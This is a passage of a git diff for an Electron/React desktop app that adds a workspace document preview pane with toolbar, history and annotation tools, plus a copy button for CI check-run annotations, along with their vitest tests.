+import { BrowserReloadControl } from '@/components/browser-pane/assemble-chrome/browser-reload-control'
+import { translate } from '@/i18n/i18n'
+import { DocPreviewDocumentChip } from './doc-preview-document-chip'
+import type { DocPreviewDocumentIdentity } from './doc-preview-document-identity'
+import type { DocPreviewHistory } from './doc-preview-webview-history'
+import { DocPreviewOverflowMenu } from './doc-preview-overflow-menu'
+
+/**
+ * Binds the shared browser chrome to a workspace document: the address bar becomes a read-only
+ * identity chip, because a preview shows a path the reader cannot retype into something else.
+ */
+export function DocPreviewToolbar({
+  identity,
+  history,
+  loading,
+  onReload,
+  onHardReload,
+  onCopyPath,
+  onCopyRelativePath,
+  onOpenSource,
+  onOpenExternally,
+  elementTools,
+  markupActive,
+  onToggleMarkup,
+  markupDisabled
+}: {
+  identity: DocPreviewDocumentIdentity
+  history: DocPreviewHistory
+  loading: boolean
+  onReload: () => void
+  /** Drops the grant and mints a new one — the preview's equivalent of ignoring every cache. */
+  onHardReload: () => void
+  onCopyPath: () => void
+  onCopyRelativePath: () => void
+  onOpenSource: () => void
+  onOpenExternally: () => void
+  elementTools: BrowserChromeElementTools
+  markupActive: boolean
+  onToggleMarkup: () => void
+  markupDisabled: boolean
+}): React.JSX.Element {
+  const [reloadMenuOpen, setReloadMenuOpen] = useState(false)
+  const reloadLabel = translate(
+    'auto.components.editor.HtmlDocPreview.reloadPreviewControl',
+    'Reload preview'
+  )
+
+  return (
+    <BrowserChromeToolbar
+      controls={{
+        canGoBack: history.canGoBack,
+        canGoForward: history.canGoForward,
+        loading,
+        goBack: history.goBack,
+        goForward: history.goForward,
+        reload: onReload,
+        // Why a no-op: the identity chip has nothing to submit, so nothing can reach this.
+        navigate: () => {}
+      }}
+      addressSlot={<DocPreviewDocumentChip identity={identity} />}
+      reloadControl={
+        <BrowserReloadControl
+          menuOpen={reloadMenuOpen}
+          onMenuOpenChange={setReloadMenuOpen}
+          label={reloadLabel}
+          loading={loading}
+          showShortcutHint={false}
+          reloadShortcut=""
+          hardReloadShortcut=""
+          onPrimary={onReload}
+          onReload={onReload}
+          onHardReload={onHardReload}
+        />
+      }
+      // Cookie import is a browsing-session action; a preview reads workspace disk over a grant
+      // and has no session for cookies to land in.
+      importControl={null}
+      elementTools={elementTools}
+      markup={{
+        active: markupActive,
+        disabled: markupDisabled,
+        onToggle: onToggleMarkup,
+        // Why false on a surface that is plainly visible: the draw-tool nudge fires once per
+        // install, and it belongs to the browsing pane. A reader who opened a document should not
+        // be the one who spends it.
+        canShowDiscoveryHint: false
+      }}
+      viewSource={{
+        onSelect: onOpenSource,
+        label: translate(
+          'auto.components.editor.HtmlDocPreview.openSourceControl',
+          'Open source file'
+        )
+      }}
+      openExternal={{
+        onSelect: onOpenExternally,
+        label: translate(
+          'auto.components.editor.HtmlDocPreview.openExternallyControl',
+          'Open with default app'
+        )
+      }}
+      overflowMenu={
+        <DocPreviewOverflowMenu
+          onReload={onReload}
+          onHardReload={onHardReload}
+          onOpenSource={onOpenSource}
+          onCopyPath={onCopyPath}
+          onCopyRelativePath={onCopyRelativePath}
+        />
+      }
+    />
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-webview-history.ts b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-webview-history.ts
new file mode 100644
index 00000000000..897291a2d2a
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/doc-preview-webview-history.ts
@@ -0,0 +1,80 @@
+import { useCallback, useRef, useState, type MutableRefObject } from 'react'
+
+export type DocPreviewHistory = {
+  canGoBack: boolean
+  canGoForward: boolean
+  goBack: () => void
+  goForward: () => void
+  /** Re-read the guest's history depth; call from every navigation event. */
+  sync: () => void
+  /** Forget the old guest's depth when the preview re-mints and re-attaches. */
+  reset: () => void
+}
+
+/**
+ * Back/Forward for the preview guest. In-preview navigation between workspace documents under the
+ * same grant is allowed by the guest policy, so a report that links to a sibling page builds real
+ * history — and fragments build in-document entries the same way a browser does.
+ */
+export function useDocPreviewWebviewHistory(
+  webviewRef: MutableRefObject<Electron.WebviewTag | null>
+): DocPreviewHistory {
+  const [depth, setDepth] = useState({ canGoBack: false, canGoForward: false })
+  // Why a ref alongside state: sync fires per navigation event and would otherwise re-render on
+  // every one, even though the buttons only change at the edges of history.
+  const depthRef = useRef(depth)
+
+  const apply = useCallback((next: { canGoBack: boolean; canGoForward: boolean }): void => {
+    if (
+      depthRef.current.canGoBack === next.canGoBack &&
+      depthRef.current.canGoForward === next.canGoForward
+    ) {
+      return
+    }
+    depthRef.current = next
+    setDepth(next)
+  }, [])
+
+  const sync = useCallback((): void => {
+    const webview = webviewRef.current
+    if (!webview) {
+      apply({ canGoBack: false, canGoForward: false })
+      return
+    }
+    try {
+      apply({ canGoBack: webview.canGoBack(), canGoForward: webview.canGoForward() })
+    } catch {
+      // The guest can detach between the event and this read; treat it as no history.
+      apply({ canGoBack: false, canGoForward: false })
+    }
+  }, [apply, webviewRef])
+
+  const reset = useCallback((): void => {
+    apply({ canGoBack: false, canGoForward: false })
+  }, [apply])
+
+  const goBack = useCallback((): void => {
+    try {
+      webviewRef.current?.goBack()
+    } catch {
+      /* detached guest */
+    }
+  }, [webviewRef])
+
+  const goForward = useCallback((): void => {
+    try {
+      webviewRef.current?.goForward()
+    } catch {
+      /* detached guest */
+    }
+  }, [webviewRef])
+
+  return {
+    canGoBack: depth.canGoBack,
+    canGoForward: depth.canGoForward,
+    goBack,
+    goForward,
+    sync,
+    reset
+  }
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts b/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts
new file mode 100644
index 00000000000..fc1f7952acf
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts
@@ -0,0 +1,134 @@
+// @vitest-environment happy-dom
+//
+// One id runs through this hook, and it is the browser page. A re-mint replaces the guest under
+// that page rather than renaming the surface, so annotations stay addressable and the tool target
+// keeps naming something main can resolve — the two used to be separate ids, and swapping them was
+// invisible until a preview re-minted.
+import { act, createElement, useRef } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const calls = vi.hoisted(() => ({
+  annotationSend: [] as { browserTabId: string }[],
+  grabAnnotations: [] as { browserTabId: string; toolTargetId: string }[],
+  grabMode: [] as string[],
+  viewportBridge: [] as { toolTargetId: string }[]
+}))
+
+vi.mock('@/components/browser-pane/annotate/use-browser-page-annotation-send', () => ({
+  useBrowserPageAnnotationSend: (args: { browserTabId: string }) => {
+    calls.annotationSend.push({ browserTabId: args.browserTabId })
+    return { browserAnnotations: [], setBrowserAnnotationTrayOpen: () => undefined }
+  }
+}))
+
+vi.mock('@/components/browser-pane/annotate/use-browser-page-grab-annotations', () => ({
+  useBrowserPageGrabAnnotations: (args: { browserTabId: string; toolTargetId: string }) => {
+    calls.grabAnnotations.push({
+      browserTabId: args.browserTabId,
+      toolTargetId: args.toolTargetId
+    })
+    return { pendingAnnotationPayload: null, grabIntent: null, startGrabIntent: () => undefined }
+  }
+}))
+
+vi.mock('@/components/browser-pane/annotate/use-browser-page-markup-capture', () => ({
+  useBrowserPageMarkupCapture: () => ({ isActive: false })
+}))
+
+vi.mock('@/components/browser-pane/annotate/useGrabMode', () => ({
+  useGrabMode: (toolTargetId: string) => {
+    calls.grabMode.push(toolTargetId)
+    return { state: 'idle' }
+  }
+}))
+
+vi.mock('@/components/browser-pane/annotate/guest-annotation-viewport-bridge', () => ({
+  syncGuestAnnotationViewportBridge: (args: { toolTargetId: string }) => {
+    calls.viewportBridge.push({ toolTargetId: args.toolTargetId })
+  }
+}))
+
+vi.mock('@/hooks/useShortcutLabel', () => ({ useShortcutLabel: () => 'G' }))
+
+import { useDocPreviewGuestTools } from './use-doc-preview-guest-tools'
+
+const PREVIEW_ID = 'browser-page-9f2c'
+const FIRST_GRANT = 'a'.repeat(32)
+const SECOND_GRANT = 'b'.repeat(32)
+
+function Harness({ grantId }: { grantId: string | null }): null {
+  const webviewRef = useRef(null)
+  const containerRef = useRef(null)
+  useDocPreviewGuestTools({
+    previewId: PREVIEW_ID,
+    worktreeId: 'wt-1',
+    grantId,
+    webviewRef: webviewRef as never,
+    containerRef: containerRef as never,
+    toolsReady: true
+  })
+  return null
+}
+
+let container: HTMLDivElement
+let root: Root
+
+function render(grantId: string | null): void {
+  act(() => {
+    root.render(createElement(Harness, { grantId }))
+  })
+}
+
+beforeEach(() => {
+  calls.annotationSend.length = 0
+  calls.grabAnnotations.length = 0
+  calls.grabMode.length = 0
+  calls.viewportBridge.length = 0
+  container = document.createElement('div')
+  document.body.appendChild(container)
+  root = createRoot(container)
+})
+
+afterEach(() => {
+  act(() => root.unmount())
+  container.remove()
+})
+
+describe('useDocPreviewGuestTools ids', () => {
+  it('scopes annotations and tools to the browser page the document is open in', () => {
+    render(FIRST_GRANT)
+
+    expect(calls.annotationSend.at(-1)?.browserTabId).toBe(PREVIEW_ID)
+    expect(calls.grabAnnotations.at(-1)?.browserTabId).toBe(PREVIEW_ID)
+    expect(calls.grabAnnotations.at(-1)?.toolTargetId).toBe(PREVIEW_ID)
+    expect(calls.grabMode.at(-1)).toBe(PREVIEW_ID)
+  })
+
+  // Why a re-mint is still worth a test with one id: main re-points the page at the replacement
+  // guest, so the surface the reader is looking at must keep the same name through it. A hook that
+  // rebuilt its target from the grant would orphan annotations under an id nothing reads again.
+  it('keeps naming the same surface across a re-mint', () => {
+    render(FIRST_GRANT)
+    render(SECOND_GRANT)
+
+    expect(new Set(calls.annotationSend.map((call) => call.browserTabId))).toEqual(
+      new Set([PREVIEW_ID])
+    )
+    expect(new Set(calls.grabAnnotations.map((call) => call.toolTargetId))).toEqual(
+      new Set([PREVIEW_ID])
+    )
+    expect(calls.viewportBridge.at(-1)?.toolTargetId).toBe(PREVIEW_ID)
+  })
+
+  // Why an empty target and not the page id: before a grant exists no guest has committed to this
+  // page, so naming it would park every tool request in the registration wait for a document the
+  // reader may never get.
+  it('names no tool target before a grant exists', () => {
+    render(null)
+
+    expect(calls.grabMode.at(-1)).toBe('')
+    expect(calls.grabAnnotations.at(-1)?.toolTargetId).toBe('')
+    expect(calls.viewportBridge).toHaveLength(0)
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.ts b/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.ts
new file mode 100644
index 00000000000..4998477adff
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.ts
@@ -0,0 +1,103 @@
+import { useEffect, useMemo, useRef, useState, type MutableRefObject } from 'react'
+import { createBrowserUuid } from '@/lib/browser-uuid'
+import { useShortcutLabel } from '@/hooks/useShortcutLabel'
+import { syncGuestAnnotationViewportBridge } from '@/components/browser-pane/annotate/guest-annotation-viewport-bridge'
+import { useBrowserPageAnnotationSend } from '@/components/browser-pane/annotate/use-browser-page-annotation-send'
+import { useBrowserPageGrabAnnotations } from '@/components/browser-pane/annotate/use-browser-page-grab-annotations'
+import { useBrowserPageMarkupCapture } from '@/components/browser-pane/annotate/use-browser-page-markup-capture'
+import { useGrabMode } from '@/components/browser-pane/annotate/useGrabMode'
+import type { BrowserOverlayViewport } from '@/components/browser-pane/describe-page/browser-annotation-geometry'
+import type { BrowserChromeElementTools } from '@/components/browser-pane/assemble-chrome/browser-chrome-toolbar'
+
+/**
+ * The preview's half of the browser tool cluster: the in-guest element picker, the annotation
+ * store and the markup canvas, wired exactly as the browsing pane wires them — including the id,
+ * which is the browser page for both the stored annotations and the tool target. A re-mint
+ * replaces the guest under that page rather than renaming the surface, so nothing here has to
+ * track which grant is currently on screen.
+ */
+export function useDocPreviewGuestTools({
+  previewId,
+  worktreeId,
+  grantId,
+  webviewRef,
+  containerRef,
+  toolsReady
+}: {
+  previewId: string
+  worktreeId: string
+  grantId: string | null
+  webviewRef: MutableRefObject<Electron.WebviewTag | null>
+  containerRef: MutableRefObject<HTMLDivElement | null>
+  toolsReady: boolean
+}): {
+  grab: ReturnType<typeof useGrabMode>
+  markup: ReturnType<typeof useBrowserPageMarkupCapture>
+  annotationSend: ReturnType<typeof useBrowserPageAnnotationSend>
+  grabAnnotations: ReturnType<typeof useBrowserPageGrabAnnotations>
+  browserOverlayViewport: BrowserOverlayViewport
+  elementTools: BrowserChromeElementTools
+} {
+  // Why still empty before the first grant: the page is only a tool target once a document is on
+  // screen, and useGrabMode needs a stable identity every render rather than one to guess with.
+  const toolTargetId = grantId === null ? '' : previewId
+  const annotationViewportBridgeTokenRef = useRef(createBrowserUuid().replaceAll('-', ''))
+  const [browserOverlayViewport, setBrowserOverlayViewport] = useState<BrowserOverlayViewport>({
+    scrollX: 0,
+    scrollY: 0,
+    version: 0
+  })
+
+  const grabElementShortcut = useShortcutLabel('browser.grabElement')
+  const grab = useGrabMode(toolTargetId)
+  const markup = useBrowserPageMarkupCapture(webviewRef, containerRef)
+  const annotationSend = useBrowserPageAnnotationSend({ browserTabId: previewId, worktreeId })
+  const grabAnnotations = useBrowserPageGrabAnnotations({
+    browserTabId: previewId,
+    toolTargetId,
+    isActive: toolsReady,
+    grab,
+    containerRef,
+    webviewRef,
+    setBrowserOverlayViewport,
+    browserAnnotationsLength: annotationSend.browserAnnotations.length,
+    setBrowserAnnotationTrayOpen: annotationSend.setBrowserAnnotationTrayOpen
+  })
+
+  const { browserAnnotations } = annotationSend
+  const { pendingAnnotationPayload } = grabAnnotations
+  useEffect(() => {
+    if (!toolTargetId) {
+      return
+    }
+    syncGuestAnnotationViewportBridge({
+      toolTargetId,
+      annotations: browserAnnotations,
+      pendingPayload: pendingAnnotationPayload,
+      surfaceActive: toolsReady,
+      token: annotationViewportBridgeTokenRef.current
+    })
+  }, [browserAnnotations, pendingAnnotationPayload, toolTargetId, toolsReady])
+
+  const elementTools = useMemo<BrowserChromeElementTools>(
+    () => ({
+      activeIntent: grab.state !== 'idle' ? grabAnnotations.grabIntent : null,
+      onStartIntent: grabAnnotations.startGrabIntent,
+      // Nothing has painted on a loading or failed preview, so there is no element to pick.
+      disabled: !toolsReady || markup.isActive,
+      grabShortcutLabel: grabElementShortcut,
+      annotationCount: browserAnnotations.length
+    }),
+    [
+      browserAnnotations.length,
+      grab.state,
+      grabAnnotations.grabIntent,
+      grabAnnotations.startGrabIntent,
+      grabElementShortcut,
+      markup.isActive,
+      toolsReady
+    ]
+  )
+
+  return { grab, markup, annotationSend, grabAnnotations, browserOverlayViewport, elementTools }
+}
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx b/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx
new file mode 100644
index 00000000000..15f7bc82017
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx
@@ -0,0 +1,109 @@
+/**
+ * @vitest-environment happy-dom
+ *
+ * STA-5557: a preview hands its guest the keyboard, so what counts as "the reader is in this
+ * preview" is load-bearing in both directions — too narrow and the one route out of a preview stays
+ * shut, too wide and it takes the keyboard from the terminal the reader is actually typing in.
+ */
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { BrowserPage } from '../../../../../shared/browser-workspace-types'
+
+const WORKTREE_ID = 'repo1::/path/wt1'
+const WORKSPACE_ID = 'workspace-1'
+const OTHER_WORKSPACE_ID = 'workspace-2'
+
+const mocks = vi.hoisted(() => ({
+  storeState: {} as Record<string, unknown>,
+  handedFocus: [] as (boolean | undefined)[]
+}))
+
+vi.mock('@/store', () => ({
+  useAppStore: (selector: (state: unknown) => unknown) => selector(mocks.storeState)
+}))
+vi.mock('@/lib/worktree-runtime-owner', () => ({
+  getRuntimeEnvironmentIdForWorktree: () => null
+}))
+vi.mock('./HtmlDocPreview', () => ({
+  HtmlDocPreview: ({ holdsGuestFocus }: { holdsGuestFocus?: boolean }) => {
+    mocks.handedFocus.push(holdsGuestFocus)
+    return null
+  }
+}))
+
+import { WorkspaceDocPagePane } from './workspace-doc-page-pane'
+
+function docPage(): BrowserPage {
+  return {
+    id: 'page-1',
+    workspaceId: WORKSPACE_ID,
+    worktreeId: WORKTREE_ID,
+    url: 'about:blank',
+    title: 'index.html',
+    loading: false,
+    faviconUrl: null,
+    canGoBack: false,
+    canGoForward: false,
+    loadError: null,
+    createdAt: 0,
+    docLocation: {
+      kind: 'workspace-doc',
+      worktreeId: WORKTREE_ID,
+      filePath: '/path/wt1/report/index.html'
+    }
+  }
+}
+
+describe('the surface a document pane will hand its guest the keyboard from', () => {
+  let container: HTMLDivElement
+  let root: Root
+
+  beforeEach(() => {
+    mocks.handedFocus = []
+    mocks.storeState = {
+      activeTabTypeByWorktree: { [WORKTREE_ID]: 'browser' },
+      activeBrowserTabIdByWorktree: { [WORKTREE_ID]: WORKSPACE_ID },
+      getKnownWorktreeById: () => ({ path: '/path/wt1' })
+    }
+    container = document.createElement('div')
+    document.body.append(container)
+    root = createRoot(container)
+  })
+
+  afterEach(() => {
+    act(() => root.unmount())
+    container.remove()
+  })
+
+  function renderPane(isActive: boolean): boolean | undefined {
+    act(() => {
+      root.render(<WorkspaceDocPagePane page={docPage()} isActive={isActive} />)
+    })
+    return mocks.handedFocus.at(-1)
+  }
+
+  // The presence half: with the reader in this very preview the answer has to be yes, so a pane
+  // that had stopped offering focus at all would fail here rather than pass every refusal below.
+  it('hands focus on when the reader is in this preview', () => {
+    expect(renderPane(true)).toBe(true)
+  })
+
+  it('refuses while the reader is in a terminal in front of it', () => {
+    mocks.storeState.activeTabTypeByWorktree = { [WORKTREE_ID]: 'terminal' }
+
+    expect(renderPane(true)).toBe(false)
+  })
+
+  // Why this is separate from the terminal case: the reader can be in the browser and still be
+  // looking at another tab of it, which is a different half of the check.
+  it('refuses while the reader is in a different browser tab', () => {
+    mocks.storeState.activeBrowserTabIdByWorktree = { [WORKTREE_ID]: OTHER_WORKSPACE_ID }
+
+    expect(renderPane(true)).toBe(false)
+  })
+
+  it('refuses while its own page is not the active one', () => {
+    expect(renderPane(false)).toBe(false)
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.tsx b/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.tsx
new file mode 100644
index 00000000000..98f988762a0
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.tsx
@@ -0,0 +1,60 @@
+import { useMemo } from 'react'
+import { getRelativePathInsideRoot } from '@/lib/path'
+import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
+import { useAppStore } from '@/store'
+import { HtmlDocPreview } from './HtmlDocPreview'
+import type { BrowserPage } from '../../../../../shared/browser-workspace-types'
+
+/**
+ * The pane for a browser page located by a workspace document. Everything a URL page's chrome does
+ * — address bar, history, favicon — is answered by the document itself, so this stands in for the
+ * whole of `BrowserPagePane` rather than wrapping it.
+ */
+export function WorkspaceDocPagePane({
+  page,
+  isActive
+}: {
+  page: BrowserPage
+  isActive: boolean
+}): React.JSX.Element | null {
+  const docLocation = page.docLocation ?? null
+  const worktreeId = docLocation?.worktreeId ?? page.worktreeId
+  const filePath = docLocation?.filePath ?? ''
+  const worktreeRoot = useAppStore((store) => store.getKnownWorktreeById(worktreeId)?.path ?? null)
+  // Why resolved here rather than stored on the page: ownership moves. A page persisted before a
+  // pairing or an SSH reconnect would otherwise route its document actions at yesterday's host.
+  const runtimeEnvironmentId = useAppStore(
+    (store) => getRuntimeEnvironmentIdForWorktree(store, worktreeId) ?? null
+  )
+  const relativePath = useMemo(
+    () => getRelativePathInsideRoot(filePath, worktreeRoot) ?? filePath,
+    [filePath, worktreeRoot]
+  )
+  // Why the reader's whole surface and not just this page's activity: a preview keeps its pane
+  // mounted behind a terminal or an editor, and focusing its guest from there would take the
+  // keyboard away from what the reader is actually in.
+  const isReaderSurface = useAppStore(
+    (store) =>
+      store.activeTabTypeByWorktree[worktreeId] === 'browser' &&
+      store.activeBrowserTabIdByWorktree[worktreeId] === page.workspaceId
+  )
+
+  if (!docLocation) {
+    return null
+  }
+
+  return (
+    // Why hidden and not unmounted: an inactive page keeps its guest, its scroll position and any
+    // grab in flight, exactly as a URL page's pane does.
+    <div className="absolute inset-0 flex min-h-0 flex-col" hidden={!isActive}>
+      <HtmlDocPreview
+        holdsGuestFocus={isActive && isReaderSurface}
+        previewId={page.id}
+        filePath={filePath}
+        relativePath={relativePath}
+        worktreeId={worktreeId}
+        runtimeEnvironmentId={runtimeEnvironmentId}
+      />
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/confirmation-dialog-context.ts b/src/renderer/src/components/confirmation-dialog-context.ts
index 8dbaf36498e..4675c181fb7 100644
--- a/src/renderer/src/components/confirmation-dialog-context.ts
+++ b/src/renderer/src/components/confirmation-dialog-context.ts
@@ -5,6 +5,7 @@ import { createContext, useContext } from 'react'
 export type ConfirmationDialogOptions = {
   title: string
   description?: string
+  descriptionClassName?: string
   confirmLabel?: string
   cancelLabel?: string
   confirmVariant?: 'default' | 'destructive'
diff --git a/src/renderer/src/components/confirmation-dialog.tsx b/src/renderer/src/components/confirmation-dialog.tsx
index c9303096b7a..a1670b9bb22 100644
--- a/src/renderer/src/components/confirmation-dialog.tsx
+++ b/src/renderer/src/components/confirmation-dialog.tsx
@@ -18,6 +18,7 @@ import {
 } from '@/components/confirmation-dialog-context'
 import { useAppStore } from '@/store'
 import { translate } from '@/i18n/i18n'
+import { cn } from '@/lib/utils'
 
 type ConfirmationDialogRequest = {
   id: number
@@ -100,7 +101,9 @@ export function ConfirmationDialogProvider({
             <DialogTitle>{displayedRequest?.options.title}</DialogTitle>
             {displayedRequest?.options.description ? (
               // Callers pass multi-line descriptions (e.g. one path per line).
-              <DialogDescription className="whitespace-pre-line">
+              <DialogDescription
+                className={cn('whitespace-pre-line', displayedRequest.options.descriptionClassName)}
+              >
                 {displayedRequest.options.description}
               </DialogDescription>
             ) : null}
diff --git a/src/renderer/src/components/editor/CheckRunAnnotations.tsx b/src/renderer/src/components/editor/CheckRunAnnotations.tsx
index 5d7dfe0d878..eae9460c781 100644
--- a/src/renderer/src/components/editor/CheckRunAnnotations.tsx
+++ b/src/renderer/src/components/editor/CheckRunAnnotations.tsx
@@ -7,6 +7,8 @@ import {
   getOpenableAnnotationLine,
   openAnnotationLocation
 } from './check-annotation-open'
+import { formatAnnotationsForClipboard } from './check-run-clipboard-text'
+import { CheckRunCopyButton } from './CheckRunCopyButton'
 
 export function CheckRunAnnotations({
   annotations,
@@ -34,18 +36,29 @@ export function CheckRunAnnotations({
     [worktreeId]
   )
 
+  const annotationFallback = translate(
+    'auto.components.editor.CheckRunDetailsPanel.cdbfda4dec',
+    'Annotation'
+  )
+  const clipboardText = formatAnnotationsForClipboard(annotations, annotationFallback)
+
   return (
     <section className="rounded-md border border-border bg-background">
-      <div className="border-b border-border px-3 py-2 text-sm font-medium">
-        {translate('auto.components.editor.CheckRunDetailsPanel.f2fe8a4e8f', 'Annotations')}
+      <div className="flex items-center justify-between border-b border-border px-3 py-2">
+        <div className="text-sm font-medium">
+          {translate('auto.components.editor.CheckRunDetailsPanel.f2fe8a4e8f', 'Annotations')}
+        </div>
+        <CheckRunCopyButton
+          text={clipboardText}
+          label={translate('auto.components.editor.CheckRunAnnotations.copy', 'Copy annotations')}
+        />
       </div>
       <div className="divide-y divide-border/50">
         {annotations.map((annotation, index) => {
           const openable = worktreeId ? getOpenableAnnotationLine(annotation) : null
-          const locationLabel = `${
-            annotation.path ??
-            translate('auto.components.editor.CheckRunDetailsPanel.cdbfda4dec', 'Annotation')
-          }${annotation.startLine ? `:${annotation.startLine}` : ''}`
+          const locationLabel = `${annotation.path ?? annotationFallback}${
+            annotation.startLine ? `:${annotation.startLine}` : ''
+          }`
           return (
             <div key={`${annotation.path ?? 'annotation'}-${index}`} className="px-3 py-3">
               <div className="flex min-w-0 flex-wrap items-center gap-2">
diff --git a/src/renderer/src/components/editor/CheckRunCopyButton.test.tsx b/src/renderer/src/components/editor/CheckRunCopyButton.test.tsx
new file mode 100644
index 00000000000..d5dcf8125e5
--- /dev/null
+++ b/src/renderer/src/components/editor/CheckRunCopyButton.test.tsx
@@ -0,0 +1,50 @@
+// @vitest-environment happy-dom
+
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import { CheckRunCopyButton } from './CheckRunCopyButton'
+
+const writeClipboardText = vi.fn<(text: string) => Promise<void>>()
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback
+}))
+
+afterEach(cleanup)
+
+beforeEach(() => {
+  writeClipboardText.mockReset().mockResolvedValue(undefined)
+  Object.assign(window, { api: { ui: { writeClipboardText } } })
+})
+
+function renderCopyButton(text: string): void {
+  render(
+    <TooltipProvider>
+      <CheckRunCopyButton text={text} label="Copy annotations" />
+    </TooltipProvider>
+  )
+}
+
+describe('CheckRunCopyButton', () => {
+  it('copies the card text and shows copied feedback', async () => {
+    renderCopyButton('src/main.ts:10\nBuild failed')
+
+    const copyButton = screen.getByRole('button', { name: 'Copy annotations' })
+    fireEvent.click(copyButton)
+
+    await waitFor(() =>
+      expect(writeClipboardText).toHaveBeenCalledWith('src/main.ts:10\nBuild failed')
+    )
+    expect(await screen.findByRole('button', { name: 'Copied' })).toBeDefined()
+  })
+
+  it('disables the action when there is no card text', () => {
+    renderCopyButton('')
+
+    const copyButton = screen.getByRole('button', { name: 'Nothing to copy' })
+    expect((copyButton as HTMLButtonElement).disabled).toBe(true)
+    fireEvent.click(copyButton)
+    expect(writeClipboardText).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/components/editor/CheckRunCopyButton.tsx b/src/renderer/src/components/editor/CheckRunCopyButton.tsx
new file mode 100644
index 00000000000..70771b46400
--- /dev/null
+++ b/src/renderer/src/components/editor/CheckRunCopyButton.tsx
@@ -0,0 +1,50 @@
+import React from 'react'
+import { Check, Copy } from 'lucide-react'
+import { useClipboardTextCopyFeedback } from '@/hooks/use-clipboard-text-copy-feedback'
+import { translate } from '@/i18n/i18n'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+
+export function CheckRunCopyButton({
+  text,
+  label
+}: {
+  text: string
+  label: string
+}): React.JSX.Element {
+  const { canCopy, copyText, status } = useClipboardTextCopyFeedback(text)
+  const accessibleLabel =
+    status === 'copied'
+      ? translate('auto.components.editor.CheckRunCopyButton.copied', 'Copied')
+      : status === 'failed'
+        ? translate('auto.components.editor.CheckRunCopyButton.failed', "Couldn't copy")
+        : canCopy
+          ? label
+          : translate('auto.components.editor.CheckRunCopyButton.empty', 'Nothing to copy')
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <Button
+          type="button"
+          variant="ghost"
+          size="icon-xs"
+          aria-label={accessibleLabel}
+          disabled={!canCopy}
+          onClick={() => void copyText()}
+          className={cn(
+            'text-muted-foreground',
+            status === 'copied' && 'text-status-success',
+            status === 'failed' && 'text-destructive'
+          )}
+        >
+          {status === 'copied' ? <Check /> : <Copy />}
+        </Button>
+      </TooltipTrigger>
+      <TooltipContent side="top" sideOffset={4}>
+        {accessibleLabel}
+      </TooltipContent>
+    </Tooltip>
+  )
+}
diff --git a/src/renderer/src/components/editor/CheckRunDetailsPanel.copy.test.tsx b/src/renderer/src/components/editor/CheckRunDetailsPanel.copy.test.tsx
new file mode 100644
index 00000000000..23bc3d51c59
--- /dev/null
+++ b/src/renderer/src/components/editor/CheckRunDetailsPanel.copy.test.tsx
@@ -0,0 +1,134 @@
+// @vitest-environment happy-dom
+
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import type { PRCheckDetail, PRCheckRunDetails } from '../../../../shared/github/check-types'
+import { CheckRunDetailsPanel } from './CheckRunDetailsPanel'
+
+const writeClipboardText = vi.fn<(text: string) => Promise<void>>()
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback
+}))
+
+vi.mock('@/components/sidebar/CommentMarkdown', () => ({
+  default: ({ content }: { content: string }) => content
+}))
+
+vi.mock('@/components/right-sidebar/source-control-fix-split-button', () => ({
+  SourceControlFixSplitButton: () => null
+}))
+
+vi.mock('./check-run-details-fix-with-ai', () => ({
+  useCheckRunDetailsFixWithAI: () => ({
+    canFixWithAI: false,
+    disabledReason: null,
+    isFixing: false,
+    fixPrompt: '',
+    repoId: null,
+    connectionId: null,
+    launchPlatform: null,
+    savedAgentId: null,
+    savedCommandInputTemplate: null,
+    savedAgentArgs: [],
+    saveLaunchActionDefault: vi.fn(),
+    openSourceControlAiSettings: vi.fn(),
+    fixWithAI: vi.fn()
+  })
+}))
+
+afterEach(cleanup)
+
+beforeEach(() => {
+  writeClipboardText.mockReset().mockResolvedValue(undefined)
+  Object.assign(window, { api: { ui: { writeClipboardText } } })
+})
+
+const check: PRCheckDetail = {
+  name: 'package',
+  status: 'completed',
+  conclusion: 'failure',
+  url: null,
+  checkRunId: 42
+}
+
+const details: PRCheckRunDetails = {
+  name: 'package',
+  status: 'completed',
+  conclusion: 'failure',
+  url: null,
+  detailsUrl: null,
+  startedAt: null,
+  completedAt: null,
+  title: 'Build failed',
+  summary: 'One test failed.',
